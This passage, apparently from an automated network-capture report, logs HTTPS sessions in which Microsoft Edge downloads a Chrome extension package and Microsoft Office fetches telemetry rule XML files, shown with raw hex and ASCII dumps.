2024-11-19 00:01:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49893	172.217.18.1	443	7900	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:40 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 00:01:41 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC5UYxoI512o8nLCs0ca7JWnCBXNQl_VBOxcikP2EIqsNu30M9dmkX0YJCjljBfkLtIA7a4 X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 18 Nov 2024 17:26:51 GMT Expires: Tue, 18 Nov 2025 17:26:51 GMT Cache-Control: public, max-age=31536000 Age: 23689 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-19 00:01:41 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-19 00:01:41 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-11-19 00:01:41 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-11-19 00:01:41 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-19 00:01:41 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-11-19 00:01:41 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-11-19 00:01:41 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-11-19 00:01:41 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-11-19 00:01:41 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-11-19 00:01:41 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:40 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: e670145d-b01e-003d-3cc7-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000140Z-164f84587bffvwt9hC1DFW2ktw00000004bg000000001hk4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:40 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:40 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000140Z-16547b76f7fwcwmrhC1DFWtp0400000002ag00000000rt9t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:41 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:40 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000140Z-16547b76f7f6892shC1DFWawd000000003hg000000008vz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:41 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:40 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000140Z-16547b76f7fzwxm2hC1DFWt5hw000000041g00000000r73a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:40 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:40 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 3a2d1fa5-b01e-0098-62ef-39cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000140Z-16547b76f7fr5rfnhC1DFW0am400000003zg00000000e1uc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
